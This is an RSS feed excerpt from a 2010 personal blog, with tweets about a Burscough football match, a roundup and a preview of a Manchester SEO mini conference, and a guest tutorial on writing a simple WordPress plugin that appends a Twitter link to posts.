<div class="rhystwitter-tweet"><img src="http://a0.twimg.com/profile_images/1099164396/72dbb8c9-70dd-4dad-bfef-5aa70f6ef79d_normal.png" alt="" /><span class="rhystwitter-from_user">rhyswynne</span><span class="rhystwitter-text">Right I&#8217;m off to Burscough for #burscoughvsbay &#8211; wish us luck!</span></div>
<div class="rhystwitter-tweet"><img src="http://a0.twimg.com/profile_images/1099164396/72dbb8c9-70dd-4dad-bfef-5aa70f6ef79d_normal.png" alt="" /><span class="rhystwitter-from_user">rhyswynne</span><span class="rhystwitter-text">On train to #burscoughvsbay. Awfully slow going ATM.</span></div>
<div class="rhystwitter-tweet"><img src="http://a0.twimg.com/profile_images/1099164396/72dbb8c9-70dd-4dad-bfef-5aa70f6ef79d_normal.png" alt="" /><span class="rhystwitter-from_user">rhyswynne</span><span class="rhystwitter-text">Train is running a bit late for #burscoughvsbay. May miss kick off. I NEVER miss kick off.</span></div>
<div class="rhystwitter-tweet"><img src="http://a0.twimg.com/profile_images/1099164396/72dbb8c9-70dd-4dad-bfef-5aa70f6ef79d_normal.png" alt="" /><span class="rhystwitter-from_user">rhyswynne</span><span class="rhystwitter-text">Had trouble getting in. Not because I&#8217;m scum, Burscough has the world narrowest turnstiles. #burscoughvsbay</span></div>
<div class="rhystwitter-tweet"><img src="http://a0.twimg.com/profile_images/1099164396/72dbb8c9-70dd-4dad-bfef-5aa70f6ef79d_normal.png" alt="" /><span class="rhystwitter-from_user">rhyswynne</span><span class="rhystwitter-text">Burscough come out to music &amp; an enthusiastic DJ. I know the tune, but only as Helmut&#8217;s theme from Street Racer #burscoughvsbay</span></div>
<div class="rhystwitter-tweet"><img src="http://a0.twimg.com/profile_images/1099164396/72dbb8c9-70dd-4dad-bfef-5aa70f6ef79d_normal.png" alt="" /><span class="rhystwitter-from_user">rhyswynne</span><span class="rhystwitter-text">#burscoughvsbay bit ping pong at the moment. Freezing ones bits off.</span></div>
<div class="rhystwitter-tweet"><img src="http://a0.twimg.com/profile_images/1099164396/72dbb8c9-70dd-4dad-bfef-5aa70f6ef79d_normal.png" alt="" /><span class="rhystwitter-from_user">rhyswynne</span><span class="rhystwitter-text">#burscoughvsbay ref is so biased towards Burscough even they notice it, referring to the ref as Uncle Jim. Lovely!</span></div>
<div class="rhystwitter-tweet"><img src="http://a0.twimg.com/profile_images/1099164396/72dbb8c9-70dd-4dad-bfef-5aa70f6ef79d_normal.png" alt="" /><span class="rhystwitter-from_user">rhyswynne</span><span class="rhystwitter-text">0-0 HT. To all intents &amp; purposes Burscough should be 1-0 up. Bay playing average. #burscoughvsbay</span></div>
<div class="rhystwitter-tweet"><img src="http://a0.twimg.com/profile_images/1099164396/72dbb8c9-70dd-4dad-bfef-5aa70f6ef79d_normal.png" alt="" /><span class="rhystwitter-from_user">rhyswynne</span><span class="rhystwitter-text">15 mins into second. Bit ping pong again! #burscoughvsbay</span></div>
<div class="rhystwitter-tweet"><img src="http://a0.twimg.com/profile_images/1099164396/72dbb8c9-70dd-4dad-bfef-5aa70f6ef79d_normal.png" alt="" /><span class="rhystwitter-from_user">rhyswynne</span><span class="rhystwitter-text">#burscoughvsbay Burscough have 4 solitary seats in one stand. I&#8217;ve been told they were 4 seats short of minimum regs. Game is terrible.</span></div>
<div class="rhystwitter-tweet"><img src="http://a0.twimg.com/profile_images/1099164396/72dbb8c9-70dd-4dad-bfef-5aa70f6ef79d_normal.png" alt="" /><span class="rhystwitter-from_user">rhyswynne</span><span class="rhystwitter-text">#burscoughvsbay YYYYYEEEAAAAHHHH&#8230;.DAMMIT! Goal disallowed for offside. Sheds knocked it over from 6 yards out. Open goal. Still cold.</span></div>
<div class="rhystwitter-tweet"><img src="http://a0.twimg.com/profile_images/1099164396/72dbb8c9-70dd-4dad-bfef-5aa70f6ef79d_normal.png" alt="" /><span class="rhystwitter-from_user">rhyswynne</span><span class="rhystwitter-text">Final score 0-0. Off to get warm in the clubhouse. Pint of fosters extra cold barkeep! #burscoughvsbay</span></div>
<div class="rhystwitter-tweet"><img src="http://a0.twimg.com/profile_images/1099164396/72dbb8c9-70dd-4dad-bfef-5aa70f6ef79d_normal.png" alt="" /><span class="rhystwitter-from_user">rhyswynne</span><span class="rhystwitter-text">Train cancelled. Anybody going from Burscough to Manchester in the car? #burscoughvsbay</span></div>
<div class="rhystwitter-tweet"><img src="http://a0.twimg.com/profile_images/1099164396/72dbb8c9-70dd-4dad-bfef-5aa70f6ef79d_normal.png" alt="" /><span class="rhystwitter-from_user">rhyswynne</span><span class="rhystwitter-text">#burscoughvsbay Right train not arrived. Taxi not arrived. Relying on two people who are taxi drivers. In pub for cheeky half.</span><span class="rhystwitter-created_at"> </span></div>
<div class="rhystwitter-tweet"><img src="http://a0.twimg.com/profile_images/1099164396/72dbb8c9-70dd-4dad-bfef-5aa70f6ef79d_normal.png" alt="" /><span class="rhystwitter-from_user">rhyswynne</span><span class="rhystwitter-text">TRAINS ARRIVED!!! #burscoughvsbay</span></div>
<div class="rhystwitter-tweet"><img src="http://a0.twimg.com/profile_images/1099164396/72dbb8c9-70dd-4dad-bfef-5aa70f6ef79d_normal.png" alt="" /><span class="rhystwitter-from_user">rhyswynne</span><span class="rhystwitter-text">#burscoughvsbay finally home. 3 hours after game finished, and a £12 cab fare lighter. Tomorrow&#8217;s  job? Get #northernrailpaymycab trending</span></div>
<p>The issue I had &#8211; and the warning to learn? Don&#8217;t hang around! By the time I got around to blogging about #rhysvseurope, the twitter search had archived the tweets, making them unsearchable. I could use Google, but it&#8217;s not 100% accurate, so if you are to blog an event, make sure you grab the tweets as early as you can.</p>
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		<title>Mancseo Mini Conference Roundup</title>
		<link>http://feedproxy.google.com/~r/TheGospelAccordingToRhys/~3/WsRGPHqhk2E/mancseo-mini-conference-roundup.html</link>
		<comments>http://www.gospelrhys.co.uk/2010/11/mancseo-mini-conference-roundup.html#comments</comments>
		<pubDate>Tue, 02 Nov 2010 21:51:51 +0000</pubDate>
		<dc:creator>Rhys</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Opinions]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[mancseo]]></category>
		<category><![CDATA[social media]]></category>

		<guid isPermaLink="false">http://www.gospelrhys.co.uk/?p=3445</guid>
		<description>Last Friday I attended the free Mancseo Mini Conference, in The Hive in Manchester. It was an afternoon of speakers &amp;#38; networking and &amp;#8211; best of all &amp;#8211; it was all free. I previewed the event last week, so now onto the speakers, and what they talked about. Nichola Stott &amp;#8211; The Business Of Search [...]</description>
			<content:encoded><![CDATA[<p>Last Friday I attended the free <a href="http://www.manchester-seo.org/" target="_blank">Mancseo</a> Mini Conference, in <a href="http://www.thehivemanchester.com/" target="_blank">The Hive in Manchester</a>. It was an afternoon of speakers &amp; networking and &#8211; best of all &#8211; it was all free. <a href="http://www.gospelrhys.co.uk/2010/10/mancseo-mini-conference-preview.html" target="_blank">I previewed the event last week</a>, so now onto the speakers, and what they talked about.</p>
<h3>Nichola Stott &#8211; The Business Of Search</h3>
<p style="text-align: center;">
<div id="__ss_5649760" style="width: 425px;"><strong style="display: block; margin: 12px 0 4px;"><a title="Nichola Stott - Manchester SEO Mini Conference" href="http://www.slideshare.net/peteyoung/manc-seo-nicholastott">Nichola Stott &#8211; Manchester SEO Mini Conference</a></strong><object id="__sse5649760" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="355" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="src" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=mancseo-nicholastott-101102184102-phpapp02&amp;stripped_title=manc-seo-nicholastott&amp;userName=peteyoung" /><param name="name" value="__sse5649760" /><param name="allowfullscreen" value="true" /><embed id="__sse5649760" type="application/x-shockwave-flash" width="425" height="355" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=mancseo-nicholastott-101102184102-phpapp02&amp;stripped_title=manc-seo-nicholastott&amp;userName=peteyoung" name="__sse5649760" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<div style="padding: 5px 0 12px;">View more <a href="http://www.slideshare.net/">presentations</a> from <a href="http://www.slideshare.net/peteyoung">peteyoung</a>.</div>
</div>
<p><a href="http://twitter.com/nicholastott">Nichola Stott</a>, before co-founding <a href="http://www.themediaflow.com/" target="_blank">theMediaFlow</a>, was head of Yahoo!&#8217;s Commercial Search Partnerships, and in her talk she shared insight into why search engine&#8217;s do what they do as commercial entity.</p>
<p>Before plunging into a maths lesson &#8211; which are covered on her slides &#8211; she shared that certain searches have no commercial value for Google, information searches (for example, see this search for <a href="http://www.google.co.uk/search?q=fleming%27s+left+hand+rule&amp;pws=0&amp;hl=en&amp;num=10" target="_blank">fleming&#8217;s left hand rule</a>) don&#8217;t have any sort of Google Ads. Try it yourself!</p>
<p>From her figures, she worked out that Google has an average earning of around £22.55 per 1000 searches, which seems like a phenomenal amount, and the only way that is likely to increase is by improving the click through ratio in the search engine. To do this, you&#8217;d have to make search results:-</p>
<ul>
<li>Improving matching technologies</li>
<li>Reduce search abandonment rate</li>
<li>Improve total result relevance</li>
</ul>
<p>In short, make searches more relevant.</p>
<p>Google does most &#8211; if not all &#8211; of it&#8217;s testing on the page 1 results of Google, so if you are on page one for your search term, you&#8217;re ranking will be a testing bed for Google&#8217;s algorithms.</p>
<p><em><strong>What to take away: </strong>In order to maintain rankings at the top of the search engine, make your website incredibly relevant to the search term you want to rank for.</em></p>
<h3>Barry Adams &#8211; Optimising for Google News</h3>
<p style="text-align: center;">
<div id="__ss_5649858" style="width: 425px;"><strong style="display: block; margin: 12px 0 4px;"><a title="Barry Adams - Manchester SEO Mini Conference" href="http://www.slideshare.net/peteyoung/barry-adams-manchester-seo-mini-conference">Barry Adams &#8211; Manchester SEO Mini Conference</a></strong><object id="__sse5649858" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="355" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="src" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=mancseo-barryadams-101102184852-phpapp02&amp;stripped_title=barry-adams-manchester-seo-mini-conference&amp;userName=peteyoung" /><param name="name" value="__sse5649858" /><param name="allowfullscreen" value="true" /><embed id="__sse5649858" type="application/x-shockwave-flash" width="425" height="355" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=mancseo-barryadams-101102184852-phpapp02&amp;stripped_title=barry-adams-manchester-seo-mini-conference&amp;userName=peteyoung" name="__sse5649858" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<div style="padding: 5px 0 12px;">View more <a href="http://www.slideshare.net/">presentations</a> from <a href="http://www.slideshare.net/peteyoung">peteyoung</a>.</div>
</div>
<p><a href="http://twitter.com/badams" target="_blank">Barry Adams</a> shared some of his insights during his time working at the Belfast Telegraph, particularly in how to rank in <a href="http://news.google.co.uk" target="_blank">Google News</a>. Google News results are now integrated within natural search results, and you can get some nice (if slightly intermittent) rankings for PR results.</p>
<p>There are three ways to get into Google News:-</p>
<ul>
<li>Start a News Site</li>
<li>A Paid Advertorial</li>
<li>Press Releases</li>
</ul>
<h4>Tips to Start Up A News Site</h4>
<p>To get into Google News as a website, you need the following:-</p>
<ul>
<li>Original Content</li>
<li>Multiple Authors</li>
<li>Regular Updates: this takes two forms &#8211; new stories &amp; updating existing stories, this can be updating current blog posts &amp; updating new ones.</li>
<li>Develop an editorial strategy &amp; a niche &#8211; unless you want to be a generic news site. These are trickier to get into Google News.</li>
<li>Make your images non-clickable.</li>
<li>Have a Google News XML Sitemap</li>
</ul>
<p>As you can imagine, this is a tough set of criteria to hit.</p>
<h4>Tips to Rank in Google News</h4>
<p>Google News&#8217; search ranking algorithm isn&#8217;t as smart as Google&#8217;s search algorithm (with good reason, spam sites don&#8217;t get into Google News due to it&#8217;s editorial policy), so you can appear in Google News with a little bit of work. To do this, Barry shared some tips:-</p>
<ul>
<li>Write a good press release &#8211; simple really!</li>
<li>Target high volume  keywords &#8211; again you can afford to be bold, as if they get picked up by the general news sites, then you will rank in Google Search for that keyword &#8211; do any search for a high volume keyword &amp; you will see Google News results.</li>
<li>Pick a good accompanying image &#8211; photos of relevant people mentioned in the press release work well, clipart doesn&#8217;t!</li>
<li>Spread article far &amp; wide with pr distribution channels, submit to news sites that accept pr &amp; paid content &#8211; don&#8217;t worry about duplicate content.</li>
<li>Build relationships with editors &#8211; it&#8217;ll make your job easier.</li>
<li>Generate news regularly &#8211; but don&#8217;t spam.</li>
</ul>
<p><strong><em>What To Take Away: </em></strong><em>Using Google News as a channel for ranking content in your site can be done, but you need great press releases that get picked up by the major news sites. Or you can pay for advertorials.</em></p>
<h3>Kelvin Newman &#8211; The Psychology of Link Building</h3>
<p style="text-align: center;">
<div id="__ss_5649814" style="width: 425px;"><strong style="display: block; margin: 12px 0 4px;"><a title="Kelvin Newman - Manchester SEO Mini Conference" href="http://www.slideshare.net/peteyoung/manc-seo-kelvinnewman">Kelvin Newman &#8211; Manchester SEO Mini Conference</a></strong><object id="__sse5649814" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="355" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="src" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=mancseo-kelvinnewman-101102184222-phpapp02&amp;stripped_title=manc-seo-kelvinnewman&amp;userName=peteyoung" /><param name="name" value="__sse5649814" /><param name="allowfullscreen" value="true" /><embed id="__sse5649814" type="application/x-shockwave-flash" width="425" height="355" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=mancseo-kelvinnewman-101102184222-phpapp02&amp;stripped_title=manc-seo-kelvinnewman&amp;userName=peteyoung" name="__sse5649814" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<div style="padding: 5px 0 12px;">View more <a href="http://www.slideshare.net/">presentations</a> from <a href="http://www.slideshare.net/peteyoung">peteyoung</a>.</div>
</div>
<p><a href="http://twitter.com/kelvinnewman" target="_blank">Kelvin Newman</a> gave a talk on how to help your link building. Thing is, websites don&#8217;t link to websites, <em>people</em> link to websites.</p>
<p>There are three factors that influence all of our link building:-</p>
<ul>
<li>Gut feeling.</li>
<li>Habit.</li>
<li>What <a href="http://www.seomoz.org/team/randfish" target="_blank">Rand Fishkin</a> says.</li>
</ul>
<p>He then shared a bunch of psychology problems that had their own conclusions, these included:-</p>
<ul>
<li><strong><a href="http://en.wikipedia.org/wiki/The_Candle_Problem" target="_blank">The Candle Problem</a> &#8211; </strong>This can be applied to link building in that people aren&#8217;t always cash incentivised for a link. You can get great links by being creative &amp; thinking outside the box.</li>
<li><a href="http://www.experiment-resources.com/interpersonal-bargaining.html" target="_blank"><strong>The Trucker &amp; Gate Problem</strong></a><strong> &#8211; </strong>This can be applied that collaboration can work better than competiton. Working with your rivals with similar promotions, particularly with guest blogging, can still get results. If you work with your rivals, you both win.</li>
<li><strong><a href="http://en.wikipedia.org/wiki/Social_identity" target="_blank">Social Identity Theory</a> </strong>- Groups of people form instantly, this can be applied to link building by creating a community around your blog. Even more than that, give a name to your readers (or in my case, you little Gospelites), in that it creates a sense of belonging amongst your readers. Loyal readers are linking readers.</li>
</ul>
<p><strong><em>What To Take Away:</em></strong><em> Read <a href="http://spring.org.uk/" target="_blank">Spring.org.uk</a>. Religiously.</em></p>
<h3>Neil Walker &#8211; SEO Forecasting</h3>
<p style="text-align: center;">
<div id="__ss_5615491" style="width: 425px;"><strong style="display: block; margin: 12px 0 4px;"><a title="Forecasting seo-v1-251010" href="http://www.slideshare.net/seomad/forecasting-seov1251010">Forecasting seo-v1-251010</a></strong><object id="__sse5615491" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="355" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="src" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=forecasting-seo-v1-251010-101030053910-phpapp01&amp;stripped_title=forecasting-seov1251010&amp;userName=seomad" /><param name="name" value="__sse5615491" /><param name="allowfullscreen" value="true" /><embed id="__sse5615491" type="application/x-shockwave-flash" width="425" height="355" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=forecasting-seo-v1-251010-101030053910-phpapp01&amp;stripped_title=forecasting-seov1251010&amp;userName=seomad" name="__sse5615491" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<div style="padding: 5px 0 12px;">View more <a href="http://www.slideshare.net/">presentations</a> from <a href="http://www.slideshare.net/seomad">Neil Walker</a>.</div>
</div>
<p><a href="http://twitter.com/TheUKSEO" target="_blank">Neil Walker</a>&#8216;s talk on forecasting SEO was aimed more at individuals who had to sell SEO as part of a marketing plan. However, thanks to him having a lot of data to play with (over 166,000 keywords tracked), he has a lot of experience in forecasting results for SEO.</p>
<p>His presentation was hugely interesting, but hugely complicated, and he&#8217;s explained it a bajillion times better than I ever could. You should check out the <a href="http://www.seomad.com/SEOBlog/seo-forecasting-the-holy-grail.html" target="_blank">SEO Forecasting the holy grail</a>, if you ever want to work out just how effective SEO can be!</p>
<h3>The After Party &amp; Conclusion</h3>
<p>Overall it was a great conference, a good afternoon away from work. I enjoyed it immensely, particularly the networking event after (bar the curry, which I felt for days after). It was good meeting Nichola, <a href="http://twitter.com/DeanCruddace" target="_blank">Dean</a> &amp; catching up with <a href="http://twitter.com/goosh" target="_blank">Kev</a> and everybody else in Mancseo. In May it is <a href="http://www.sascon.co.uk/" target="_blank">Sascon</a> &#8211; which is a 2 day SEO &amp; Social Media conference in Manchester. I&#8217;m likely to attend, I suggest you do too.</p>
<h3>Further Round Up</h3>
<ul>
<li>A post on the Mancseo Page has the <a href="http://www.manchester-seo.org/2010/11/presentations-from-sascon-manchester-seo-mini-conference/" target="_blank">Presentations from the Mancseo Mini Conference</a>.</li>
<li>Attacat has a round up of the <a href="http://www.attacat.co.uk/brain/the-business-of-search-mancseo-mini-conference/" target="_blank">Business of Search</a>, <a href="http://www.attacat.co.uk/brain/psychology-of-link-building-mancseo-mini-conference/" target="_blank">Psychology of Linkbuilding</a>, <a href="http://www.attacat.co.uk/brain/optimising-for-google-news-mancseo-mini-conference/" target="_blank">Optimising for Google News</a> &amp; <a href="http://www.attacat.co.uk/brain/forecasting-for-seo-mancseo-mini-conference/" target="_blank">Forecasting for SEO</a> Presentations.</li>
<li>Dean Cruddace was <a href="http://www.seobegin.com/2010/11/mancseo-i-was-outraged/" target="_blank">Outraged at Mancseo</a>.</li>
</ul>
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		<title>Mancseo Mini Conference Preview</title>
		<link>http://feedproxy.google.com/~r/TheGospelAccordingToRhys/~3/26b7YW1wjP8/mancseo-mini-conference-preview.html</link>
		<comments>http://www.gospelrhys.co.uk/2010/10/mancseo-mini-conference-preview.html#comments</comments>
		<pubDate>Tue, 26 Oct 2010 09:00:03 +0000</pubDate>
		<dc:creator>Rhys</dc:creator>
				<category><![CDATA[internet]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[mancseo]]></category>
		<category><![CDATA[southmcrtweetup]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://www.gospelrhys.co.uk/?p=3439</guid>
		<description>No rest for the wicked! After two weeks of some amazing traveling, tales &amp;#38; scenery, the journey never stops, as this Friday is the Manchester SEO Mini Conference. Since my move to Manchester I&amp;#8217;ve been to all but one of these events, and went to two before going to Manchester in the first place. I [...]</description>
			<content:encoded><![CDATA[<p>No rest for the wicked!</p>
<p>After two weeks of some amazing traveling, tales &amp; scenery, the journey never stops, as this Friday is the <a href="http://www.manchester-seo.org/2010/10/the-manchester-seo-mini-conference-lineup/" target="_blank">Manchester SEO Mini Conference</a>. Since my move to Manchester I&#8217;ve been to all but one of these events, and went to two before going to Manchester in the first place. I go for good reason: I meet some great minds in the world of search, and the chats are informal yet at times insightful. Plus it is a great excuse for a pissup.</p>
<p>This Friday however a more serious meetup will be happening &#8211; the mancseo mini conference. Overwhelmingly decided by visitors to the Manchester SEO site that a free conference is a great idea, so this Friday there&#8217;ll be some great speakers &amp; talks:-</p>
<ul>
<li><a href="http://twitter.com/nicholastott">Nichola Stott</a> – The Business of Search: An Insider Perspective on the Search Engine Business and How This Shapes Our Approach</li>
<li><a href="http://twitter.com/badams">Barry Adams</a> – Optimising for Google News</li>
<li><a href="http://twitter.com/kelvinnewman">Kevin Newman</a> – The psychology of successful link building</li>
<li><a href="http://twitter.com/theukseo">Neil Walker</a> – Forecasting for SEO</li>
</ul>
<p>Tickets have been sold out twice over &#8211; and people are coming out from over the country (including guest blogger <a href="http://twitter.com/DeanCruddace" target="_blank">Dean Cruddace</a> from a couple of weeks back &#8211; &#8220;<a href="http://www.gospelrhys.co.uk/2010/10/kill-your-blog-spammers-cat.html" target="_blank">Kill Your Blog Spammers Cat</a>&#8220;), and I&#8217;m most looking forward to meeting &amp; networking at this event (sponsored by <a href="http://www.manuallinkbuilding.co.uk/" target="_blank">Manual Link Building</a> &#8211; my employers) &amp; the after party (sponsored by <a href="http://theeword.co.uk/" target="_blank">theEword</a>).</p>
<p>I will be providing a roundup of this event next week, and if you follow the #mancseo hashtag on twitter &#8211; then you can attend virtually.</p>
<p>There&#8217;s another meetup happening this week that you are able to attend &#8211; the <a href="http://southmcrtweetup.wordpress.com/" target="_blank">South Manchester Tweetup</a>. It&#8217;s this Wednesday in The Didsbury in Manchester. You can <a href="http://www.eventbrite.com/event/950580211" target="_blank">view the event on Eventbrite &amp; book your place</a> (which is only designed to get numbers).</p>
<p>Let me know if you&#8217;re attending either one of the events in the comments!</p>
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		<title>Building your first WordPress plugin</title>
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		<comments>http://www.gospelrhys.co.uk/2010/10/building-your-first-wordpress-plugin.html#comments</comments>
		<pubDate>Thu, 21 Oct 2010 09:30:06 +0000</pubDate>
		<dc:creator>Rhys</dc:creator>
				<category><![CDATA[Guest Blogs]]></category>
		<category><![CDATA[How To's]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[plugins]]></category>
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		<category><![CDATA[php]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.gospelrhys.co.uk/?p=3429</guid>
		<description>So, you have decided you want to improve your WordPress blog but can&amp;#8217;t find the exact plugin that will match you needs. WordPress allows developers to really easily build a plugin and have it do whatever you want with your blog. In this tutorial I am going to walk you through the basics of a [...]</description>
			<content:encoded><![CDATA[<p>So, you have decided you want to improve your <a href="http://www.wordpress.org" target="_blank">WordPress</a> blog but can&#8217;t find the exact plugin that will match you needs.  WordPress allows developers to really easily build a plugin and have it do whatever you want with your blog.  In this tutorial I am going to walk you through the basics of a WordPress plugin and we will build a simple plugin that puts a link to your <a href="http://www.twitter.com" target="_blank">Twitter</a> profile at the bottom of every post.</p>
<h3>The files</h3>
<p>A WordPress plugin is made up of at least one PHP file.  It can contain many other files including other php, HTML, CSS and JavaScript.  The plugin we are going to build will just contain a single PHP file called <em>myprofilelinks.php</em>.</p>
<p>The main file for a WordPress plugin must contain a header with contains all of the information about our plugin.  Here we can say who wrote the plugin, give it a name and other information.  The header is included at the top of the main file and is contained within standard PHP <em>/* */</em> comment tags.  The header is very simple and more information can be found <a href="http://codex.wordpress.org/Writing_a_Plugin#File_Headers" target="_blank">here</a>.</p>
<h3>Hooks &#8211; actions and filters</h3>
<p>WordPress allows developers to tap into a blog&#8217;s functionality through hooks.  A hook allows a developer to execute a section of code when a specific <em>action</em> happens or to <em>filter</em> the output or input to the system (a list of all hooks can be found <a href="http://adambrown.info/p/wp_hooks" target="_blank">here</a>).  In our plugin, to add an action we use the <em>add_action()</em> method, and to add a filter we use the <em>add_filter()</em> method.  What we are going to need in our filter is to add a filter that is displayed when the_content is output:</p>
<pre class="brush: php; title: ; notranslate">&amp;lt;?php
add_filter('the_content', 'addFooter'); //Add a filter that will run our addFooter function when the_content is displayed
?&amp;gt;</pre>
<h3>Our filter</h3>
<p>The function we have &#8216;hooked&#8217; into our blog using the <em>add_filter()</em> method needs to accept one parameter.  The function accepts the single parameter of the content we wish to filter and then returns our filtered output.  The <em>the_content</em> filter is run just before every post or page is output to the screen and allows us to make changes to the content.  Let&#8217;s take a look at what we will do with our function:</p>
<pre class="brush: php; title: ; notranslate">&amp;lt;?php
function addFooter($content) {
if(is_page()) { //If our content is a page, do nothing
return $content;
} else { //This is a blog post so let's add on our links
return $content . '&amp;lt;div class=&quot;myProfileLinks&quot;&amp;gt;&amp;lt;a href=&quot;http://www.twitter.com/yourprofile&quot;&amp;gt;Twitter&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;';
}
}
?&amp;gt;</pre>
<p>We now have a plugin which will add on a div to all of our blog entries that will contain a link to our Twitter profile.  This can be modified using CSS to make it look better, we could change the link to an image etc.  The basics of this post will allow you to create your first WordPress plugin and start modifying your blog in your own way and do whatever you want.  The important thing to remember with these plugins is that you can run whatever code you want and just &#8216;hook&#8217; it into the blog where necessary to give the desired output.</p>
<h3>Installing your plugin</h3>
<p>To install your plugin you can either upload it directly to your wp-content/plugins directory or zip it up and then upload it through the plugins menu in your admin area.</p>
<h3>Full source code</h3>
<p>Finally, here is the full plugin source code (excluding the header):</p>
<pre class="brush: php; title: ; notranslate">&amp;lt;?php
add_filter('the_content', 'addFooter'); //Add a filter that will run our addFooter function when the_content is displayed
function addFooter($content) {
if(is_page()) { //If our content is a page, do nothing
return $content;
} else { //This is a blog post so let's add on our links
return $content . '&amp;lt;div class=&quot;myProfileLinks&quot;&amp;gt;&amp;lt;a href=&quot;http://www.twitter.com/yourprofile&quot;&amp;gt;Twitter&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;';
}
}
?&amp;gt;</pre>
<p><em>Murray Picton is an experienced PHP web developer and has worked in the industry for many years as well as producing a few WordPress plugins along the way.  He has a blog available at <a href="http://www.murraypicton.com" target="_blank">http://www.murraypicton.com</a> containing many posts on PHP, MySQL, Javascript and many other technical subjects.  If you have liked this post, please go over to his blog and take a look at his other posts.<br />
</em></p>
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